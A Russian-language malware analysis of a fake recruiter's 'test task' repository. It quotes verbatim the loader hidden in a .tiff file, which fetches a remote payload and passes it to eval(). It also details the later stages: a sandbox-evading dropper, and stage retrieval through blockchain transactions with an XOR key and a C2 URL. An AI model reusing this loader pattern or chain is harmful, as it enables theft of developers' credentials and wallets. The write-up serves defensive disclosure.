Анатомия фейкового тестового задания в LinkedIn: дроппер в файле .tiff

Часть 2 серии о мошенниках в LinkedIn. На этот раз репозиторий у меня появился: «десятиминутное тестовое» от фейкового рекрутера прятало четырёхступенчатый дроппер за файлом .tiff, сокращателем ссылок, IPFS и двумя блокчейнами.

Макет терминала с фейковым тестовым заданием от рекрутера

Это часть 2 статьи Мошенники в LinkedIn: фейковые рекрутеры из DeFi, которые хотят опустошить ваш кошелёк. В конце той статьи я обещал вернуться, поиграть с фейковым рекрутером, получить репозиторий и разобрать, как схема работает технически.

В первый раз не получилось. С этими фейковыми рекрутерами я общался, но ссылку на репозиторий так и не получил: последний фейковый HR-аккаунт, кажется, забанили, и вся переписка удалилась вместе с ним.

В этот раз аккаунт продержался достаточно долго. Репозиторий у меня есть. Ниже — что он делает и как я его изучал, ничего не запуская.

Я ничего не запускал. Всё ниже получено чтением файлов и загрузкой «мёртвых» данных через Tor.

Как со мной связались

Первое сообщение — обычный шаблон, без названия компании:

«Мы работаем над корпоративным проектом и считаем, что ваш опыт мог бы нам очень помочь. Вы можете присоединиться как технический менеджер или разработчик, на частичную или полную занятость, полностью удалённо.»

На вопрос, что за работа, ответили: Web3 NFT-проект с минтингом и стейкингом, стек React + Express + Tailwind и $40/час, названные ещё до каких-либо требований. Я спросил, есть ли собеседование и платят ли в крипте. Ни на один вопрос не ответили. Вместо этого попросили резюме, и я его отправил.

Через день:

«Изучив ваш опыт, мы считаем, что вы подходите под наши текущие задачи… не будете ли вы против потратить 5–10 минут на короткое техническое задание?»

Затем условия:

  • записывать экран во время работы (6–10 минут, «не больше 30–40 минут вашего времени»);
  • «Пожалуйста, не используйте AI-инструменты»;
  • прислать запись на Loom в течение 24 часов;
  • репозиторий github.com/MiIies/mvp (позже удалён с GitHub) и три задачи:
    1. вывести простое «Hello» в терминал при запуске бэкенда,
    2. поменять цвет рамки трёх блоков с коричневого на серый,
    3. сделать фон сплошным жёлтым.

Задачи тривиальны намеренно. Важнее всего первая: чтобы добавить строку, которая печатается при запуске бэкенда, этот бэкенд нужно запустить.

Про «не используйте AI» тоже стоит подумать. Это похоже на обычное правило против списывания, но здесь оно убирает единственное, что могло подсказать, что делает репозиторий.

Имя рекрутера уже было в предупреждении

Мошенника, с которым я общался, звали Hanan Nurul Azka (профиль в LinkedIn). Я вставил переписку в ChatGPT и спросил, выглядит ли этот человек подозрительно. Он нашёл, что то же имя уже стоит в списке «Some of the recruiters who are scamming» в статье Alexandre Colauto Neto, blockchain full-stack разработчика: Important Warning to fellow Software Engineers, опубликованной 10 июля 2025 года.

Получается, профиль был назван в публичном предупреждении больше чем за год до того, как написал мне, и всё ещё был активен в октябре 2026. Меня это удивило.

Я уверен, что это мошенник: схема совпадает с прежним предупреждением, в репозитории лежит дроппер, а аккаунт всё ещё был активен в октябре 2026. Если жалуетесь на профиль в LinkedIn, укажите это прежнее публичное предупреждение.

Что предсказывало предупреждение

В предупреждении перечислено, что искать в подозрительном репозитории: 0x, parseInt, eval, http и динамические конструкторы функций, а также смотреть последний коммит, проверять через LLM и запускать всё в VM. Этот репозиторий хорошо проверяет такой список:

  • eval( находит загрузчик. В серверном и фронтенд-коде w.tiff — единственный файл с ним, а также единственный, где используется atob.
  • http не находит URL в серверном коде, потому что он закодирован в base64 (atob('aHR0cHM6…')).
  • 0x и parseInt находят много файлов, но это обычный Web3-код фронтенда (ethereum.js, erc20.js, Minting.jsx, Staking.jsx, …). В репозитории, который изображает NFT-минтинг, эти поиски в основном шум.
  • new Function в репозитории нет вообще. Он появляется на втором этапе, который скачивается из блокчейна.

Так что поиск по ключевым словам даёт одно настоящее попадание — единственный eval( в файле с расширением картинки, затерянный среди законных совпадений. Совет из предупреждения верен: читайте код, не доверяйте ему и запускайте в VM, но не на рабочей машине.

Что в репозитории

В GitHub-репозитории MiIies/mvp (сейчас удалён, отдаёт 404; копия сохранена в моём pull request) был один коммит, 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f («initial commit», без подписи), от 12 декабря 2025. Имя автора коммита — daudmag, email автора — daudhashi631@gmail.com. В имени аккаунта MiIies стоит заглавная I, которая в большинстве шрифтов выглядит как строчная l, поэтому читается как «Milies». Описания, сайта и истории нет.

Выглядит как React + Express приложение под названием «Paradise». В package.json нет postinstall-хука и подозрительных скриптов, а именно это проверяет большинство людей. Вредонос не там.

Этап 0: JavaScript в файле w.tiff

server/_resources/html_css_theme/img/w.tiff — текстовый файл на 158 байт. Это не картинка:

server/_resources/html_css_theme/img/w.tiff
try { (async () => { const res = await require('axios').get(atob('aHR0cHM6Ly9sYXZpZm8uc2hvcnRzLmd5L0VUS2ZK')); eval(res.data.content); })(); } catch (err) { }

Base64 раскодируется в hxxps://lavifo.shorts[.]gy/ETKfJ. Скрипт скачивает всё, что вернёт этот URL, и вызывает eval() для поля content. Пустой catch скрывает ошибки.

Файл подключается из постороннего роута, server/routes/api/faq.js:

server/routes/api/faq.js:84
const load = require('../../_resources/html_css_theme/img/w.tiff')

Переменная load нигде не используется. require нужен только ради побочного эффекта. Node считает файл с неизвестным расширением JavaScript-ом, поэтому require() для .tiff его выполняет.

server/server.js подключает этот роут (app.use('/api/faq', require('./routes/api/faq'))), а npm run server — это node server/server.js. npm start тоже его запускает. Запуск бэкенда, то есть первое, что просит тестовое, запускает загрузчик.

Этап 1: дроппер через сокращатель ссылок и IPFS

Сокращатель отвечает редиректом 301 (через Cloudflare, с PHP-cookie сессии) на шлюз Pinata IPFS:

hxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2u

Ссылка IPFS адресуется хешем содержимого, поэтому эти байты изменить нельзя. Чтобы сменить этап, оператору нужно опубликовать новый файл и перенаправить сокращатель. Шлюз отдаёт JSON на 35 247 байт, {"content": "function c1() {...}"}, с сильно обфусцированным JavaScript (стиль obfuscator.io: ротируемый массив строк и собственный base64-декодер). После деобфускации он делает следующее:

  • Проверяет, не анализируют ли его. Если видит переменные окружения Codespaces, CodeSandbox, Vercel, AWS (включая Lambda и ключи доступа), GCP, Azure Functions, Render, Heroku (DYNO), App Engine, DOCKER, SOCKET_DEV или «aws» в релизе ядра, печатает фальшивое «environment not supported». Цель — чтобы облачные песочницы и CI-раннеры тихо завершались.
  • Создаёт ~/.vs_cache/ — имя, похожее на кеш VS Code.
  • Записывает туда package.json и main.js. main.js — встроенная копия этапа 2.
  • Находит npm-cli.js рядом с запущенным бинарником node и запускает npm install для koffi, @primno/dpapi, better-sqlite3, socket.io-client и node-machine-id в скрытом отдельном дочернем процессе.
  • В Windows ещё пишет main.vbs (скрипт WScript.Shell, запускающий node с main.js в скрытом окне) и запускает его через %WINDIR%\System32\wscript.exe. На других платформах запускает node отдельным процессом с stdio: "ignore".

Зависимости много говорят о цели. @primno/dpapi расшифровывает данные, защищённые Windows DPAPI (секреты браузеров). better-sqlite3 читает SQLite-базы, где браузеры хранят логины и cookies. node-machine-id идентифицирует жертву. socket.io-client даёт оператору живой канал. koffi вызывает нативные API. Это моё прочтение списка зависимостей, а не наблюдаемое поведение.

Этап 2: следующий этап лежит в блокчейне

main.js (8 790 байт, SHA-256 fe0ffbbd…27b9, снова обфусцирован) вообще не содержит адреса сервера. Он читает его из блокчейна, приём иногда называют «EtherHiding»:

  1. Запросить через API TronGrid (api.trongrid.io, с зашитым TRON-PRO-API-KEY) последнюю подтверждённую исходящую транзакцию TRON-адреса TBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU.
  2. Взять поле memo, поменять местами две его половины и декодировать из hex. Получится хеш транзакции BSC: 0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f.
  3. Получить эту транзакцию с ноды Binance Smart Chain (bsc-dataseed.binance.org, через eth_getTransactionByHash). Она отправлена с 0x4f145ea9b91a73acc9c6a61922cb12414e4358b2 на «адрес сожжения» 0x…dead, в блоке 121 981 584. Полезная нагрузка лежит в её input data.
  4. Развернуть строку, выполнить XOR с ключом 02e4f3e7-9442-4f9c-a6f4-4fa136605d1c, убрать маркер BCGZ1|, раскодировать base64 и распаковать gzip.
  5. Выполнить результат через new Function("require", "module", "exports", "__dirname", "__filename", code).

TRON-транзакция (a323fb6e…437fe) от 2026-09-15, а BSC-транзакцию можно посмотреть на BscScan. Данные в блокчейне нельзя удалить, а оператор может подменить следующий этап, опубликовав новую TRON-транзакцию, ничего не меняя в репозитории. Блокировка одного сервера этого не остановит.

Этап 3 и C2

Расшифрованный блок (4 373 байта, SHA-256 1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a) — ещё один обфусцированный загрузчик. Он собирает URL из строки в hex:

hxxp://138.226.247[.]152:80/session/<SESSION_TOKEN>

и скачивает с него ещё JavaScript (поддерживает http и https, с заголовком Accept: application/javascript), записывая ошибки в ~/.vs_cache/loader.log.

Я запросил этот URL через Tor, подставив буквальный плейсхолдер __SESSION_TOKEN__ вместо токена. Сервер на Express ответил 404 Session not found. Он жив и отдаёт нагрузку только созданным им сессиям. На этом я остановился: подбор токенов — это уже зондирование чужого сервера, и мне этого не нужно.

Вся цепочка целиком

npm run server
└─ server/server.js ── require('./routes/api/faq')
└─ faq.js:84 ── require('…/img/w.tiff') [этап 0, 158 Б]
└─ GET lavifo.shorts.gy/ETKfJ → 301
└─ Pinata IPFS (JSON, 35 КБ) [этап 1, дроппер]
└─ ~/.vs_cache/ + npm install + main.js (+ main.vbs в Windows)
└─ memo TRON-транзакции → хеш BSC [этап 2, «мёртвый почтовый ящик»]
└─ input BSC-tx → XOR → gunzip → new Function
└─ GET 138.226.247.152/session/<token> [этап 3 → 4]

Чего я не знаю

  • Этапа 4, самой нагрузки, у меня нет. Я не могу сказать, что именно она крадёт. Список зависимостей сильно намекает на пароли браузеров, cookies и данные кошельков, но самого кода я не видел.
  • Я не знаю, кто управляет этой операцией и где они находятся.
  • Я не запускал проект, поэтому не могу описать поведение на реальной машине.

Какую инфраструктуру я использовал

Цель была — прочитать всё и ничего не выполнять, а также не светить свой IP серверам атакующего. В анализе мне помогал Claude Code. Всё запускалось в Docker на Linux-машине.

Правила безопасности, которых я придерживался

  • Никакого git clone, никакого npm install проекта, никакого запуска их кода.
  • Каждый файл скачивался как обычный текст в отдельную директорию и показывался только через cat -v или head -c, никогда не выводился «сырым» (враждебный ответ может содержать управляющие последовательности терминала).
  • Каждый запрос к инфраструктуре атакующего шёл через Tor.
  • Всё, что выполнялось, работало без доступа к сети.

1. Tor в контейнере. Образа Tor на машине не было, поэтому я собрал минимальный:

tor/Dockerfile
FROM alpine:3.20
RUN apk add --no-cache tor
USER tor
CMD ["tor","--SocksPort","0.0.0.0:9050"]
Запуск Tor в изолированной сети
docker build -t tor-local tor
docker network create torfetch
docker run -d --rm --name torproxy --network torfetch tor-local
# дождаться "Bootstrapped 100%" в: docker logs torproxy

2. Проверить, что трафик действительно выходит через Tor, прежде чем трогать что-то их. Выход Tor и моё прямое соединение показали разные адреса:

Terminal window
docker run --rm --network torfetch curlimages/curl -sS \
--socks5-hostname torproxy:9050 https://check.torproject.org/api/ip
# {"IsTor":true,"IP":"204.8.96.152"}
curl -sS https://check.torproject.org/api/ip
# {"IsTor":false,"IP":"<мой настоящий IP>"}

3. Скачивать каждый URL одноразовым контейнером с curl: все Linux capabilities сброшены, корневая ФС только для чтения, одна директория для записи, DNS резолвится через Tor (--socks5-hostname), редиректы не выполняются автоматически, ограничены размер и время, заголовки и тело сохраняются в файлы:

Terminal window
docker run --rm --network torfetch --cap-drop ALL --read-only \
-v "$PWD/out:/out" curlimages/curl -sS --socks5-hostname torproxy:9050 \
-D /out/headers.txt -o /out/payload.bin \
--max-filesize 5000000 --max-time 40 \
-w 'status=%{http_code} size=%{size_download} redirect=%{redirect_url}\n' \
https://lavifo.shorts.gy/ETKfJ

Каждый шаг я проходил вручную: сокращатель → шлюз IPFS, затем TronGrid, нода BSC и C2. Для каждого записывал статус, заголовки, размер и SHA-256 ответа.

4. Деобфускация в контейнере без сети. webcrack ставился через npm install --ignore-scripts в одноразовом контейнере node:22-alpine — это единственный шаг, где была сеть. Дальше:

Terminal window
docker run --rm --network none --cap-drop ALL --read-only --user 1000:1000 \
--memory 1g -v "$PWD/an:/an" -w /an node:22-alpine \
timeout 120 node_modules/.bin/webcrack payload.js -o out_dir

5. Раскодирование таблицы строк. webcrack убрал структуру, но оставил нераскрытые вызовы вроде a0T(630). Чтобы их прочитать, я запускал только чистую функцию-декодер (массив строк, его ротацию и сам декодер), вырезанную из файла, в контексте Node vm без require, process и сети, в контейнере с --network none. Она вывела все 1 084 строки, и я скриптом подставил их обратно в код. Основную логику нагрузки я не запускал.

6. Этапы 2 и 3 вручную. Блок этапа 2 был встроен строковым литералом, поэтому я достал его небольшим скриптом, а запросы к TRON и BSC были обычными HTTP-вызовами через Tor. Перестановка memo и XOR + gunzip — несколько строк на Python. Каждый этап я читал как текст, прежде чем переходить к следующему.

7. Проверка утверждений. Содержимое w.tiff, строку с require, цель редиректа и данные в блокчейне я проверил по сырым данным сам, а не доверял пересказу, в том числе AI-шному.

После работы убрать одноразовые части:

Terminal window
docker rm -f torproxy && docker network rm torfetch

Индикаторы компрометации

В «обезвреженном» виде. Если вы запускали этот репозиторий, считайте машину скомпрометированной.

Репозиторий
github.com/MiIies/mvp коммит 4b9c81a5d0c73ac1f87e2d42f594b68d905e935f (12 дек. 2025)
Автор коммита
daudmagdaudhashi631@gmail.com
Файл-загрузчик
server/_reso…g/w.tiff server/_resources/html_css_theme/img/w.tiff
SHA-256 8e1737980b244fa91fca17617ee1519d8fa03f97d157f4365d737e9031547b7b
Подключающий файл
server/routes/api/faq.js:84
Сокращатель
hxxps://lavi…gy/ETKfJ hxxps://lavifo.shorts[.]gy/ETKfJ
Шлюз IPFS
hxxps://yell…bbdt3u2u hxxps://yellow-written-hyena-360.mypinata[.]cloud/ipfs/bafkreiadf6x4tg3ozizmkw2eirvy6odcahrzznyblfmcnjw3lvbbdt3u2u
SHA-256 этапа 1
032fafc99b6e…11cf74d5 032fafc99b6eca32c55b44446b8f386201e39cb701595826a6db5d4211cf74d5
35 247 байт
TRON-адрес
TBMcSRezuxdo…vybYU4UU TBMcSRezuxdoNEC8gD3uS4GQVGvybYU4UU
TRON-транзакция
a323fb6e0b9f…ae1437fe a323fb6e0b9ff85d63f3fa5a16f2c369dd48acbb085460e4b7bb7c54ae1437fe
API-ключ TronGrid
0abf12d7-601…d807468c 0abf12d7-601d-4565-bba3-7f94d807468c
зашит в этапе 2
BSC-транзакция
0xbf3fa7a35a…5b2fca9f 0xbf3fa7a35ab2ee7e243134f39e367b8774d32810fd9b66355c8eba135b2fca9f
с 0x4f145ea9b91a73acc9c6a61922cb12414e4358b2
Ключ XOR
02e4f3e7-944…36605d1c 02e4f3e7-9442-4f9c-a6f4-4fa136605d1c
маркер BCGZ1|
SHA-256 этапа 2
fe0ffbbde5b4…bcdc27b9 fe0ffbbde5b46b1cf17429c26f485d5d6201d6d763cba1975259590abcdc27b9
SHA-256 этапа 3
1856068cc396…32e6648a 1856068cc3960e23df6ef4f8599332e30a58154f1dbb243e0839594e32e6648a
C2
hxxp://138.2…/<token> hxxp://138.226.247[.]152:80/session/<token>
Express; 404 Session not found без действующей сессии
Локальные следы
~/.vs_cache/package.jsonmain.jsmain.vbsloader.log а также wscript.exe или отдельный node, запущенный оттуда
npm-пакеты
koffi@primno/dpapibetter-sqlite3socket.io-clientnode-machine-id

Если вы уже запускали

  • Отключите машину от сети и считайте украденными все данные, до которых она могла дотянуться: пароли браузеров, сохранённые сессии, SSH-ключи, облачные токены, файлы .env.
  • Переведите крипту на новый кошелёк, созданный на чистом устройстве. Недостаточно сменить пароли, ведь seed-фраза, побывавшая на этой машине, скомпрометирована.
  • Поищите ~/.vs_cache/ и неожиданные процессы wscript.exe или node.
  • Отзовите сессии и токены с другого устройства.

Где искать и куда сообщать о таких случаях

Есть публичный общий список таких схем: xndbogdan/malicious-repositories. В нём собраны вредоносные репозитории от фейковых рекрутеров вместе с образцами, индикаторами, профилями рекрутеров и списками признаков. Перед отправкой я его проверил: ни этого репозитория, ни рекрутера там не было.

Я сделал форк (antlis/malicious-repositories) и отправил этот случай pull request-ом, #28. В нём репозиторий, извлечённые этапы, обезвреженные индикаторы и профиль рекрутера.

Короткую версию этого разбора я также опубликовал в LinkedIn, чтобы больше людей знали, куда отправлять такие случаи.

Если вам прислали подозрительный репозиторий с тестовым, сначала поищите в этом списке (по названию репозитория, домену или имени рекрутера), а если вашего случая там нет, откройте pull request с репозиторием, индикаторами и вашим разбором.

Выводы

  • Скрипты в package.json — не единственное место, где выполняется код. Здесь вредонос был require() файла, который не похож на код, внутри постороннего роута.
  • Тривиальная задача, для которой нужно запустить приложение, и есть суть теста. «Просто добавь строку в лог» — это просьба запустить их сервер.
  • Рекрутер, который не называет компанию, игнорирует вопросы о собеседовании и оплате и запрещает AI, что-то вам этим сообщает. Как и профиль, уже названный в публичном предупреждении больше года назад.
  • Поиска по ключевым словам недостаточно: URL был в base64, а настоящий код лежал в IPFS и двух блокчейнах.
  • Если репозиторий с тестовым всё же нужно посмотреть, читайте его на GitHub или запускайте в одноразовой ВМ, где нет ничего: ни ключей, ни профиля браузера, ни кошелька.
  • Пожалуйтесь на профиль в LinkedIn, сообщите о репозитории в GitHub и добавьте случай в общий список вредоносных репозиториев, чтобы другие могли его найти.

Будьте осторожны.